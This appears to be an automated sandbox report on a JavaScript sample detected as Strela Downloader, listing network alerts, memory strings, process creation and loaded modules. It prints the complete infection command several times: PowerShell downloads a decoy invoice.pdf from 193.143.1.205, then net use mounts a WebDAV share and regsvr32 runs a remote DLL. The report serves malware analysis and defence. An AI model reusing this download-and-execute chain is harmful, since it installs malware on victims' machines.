Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.9:49707 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: x1.i.lencr.org
Source: global traffic	DNS traffic detected: DNS query: 15.164.165.52.in-addr.arpa

Source: wscript.exe, 00000000.00000002.1387258130.0000020EE03C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.1452783294.0000026649474000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.1452783294.0000026649474000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/2
Source: net.exe, 00000007.00000002.1452783294.0000026649438000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/d;
Source: net.exe, 00000007.00000002.1452783294.0000026649438000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/pace
Source: net.exe, 00000007.00000002.1452783294.0000026649474000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/z
Source: svchost.exe, 00000009.00000002.2678636330.0000027E6F00F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod-C:
Source: svchost.exe, 00000009.00000003.1458056675.0000027E6F200000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2-C:
Source: ReaderMessages.5.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7296, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29323177493044.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29323177493044.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 27962100941450914990.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/57@2/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7392:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_b0ln1vt2.ye3.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\27962100941450914990.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29323177493044.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=1788 --field-trial-handle=1752,i,14332924830377087869,3612148365073113250,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29323177493044.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=1788 --field-trial-handle=1752,i,14332924830377087869,3612148365073113250,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
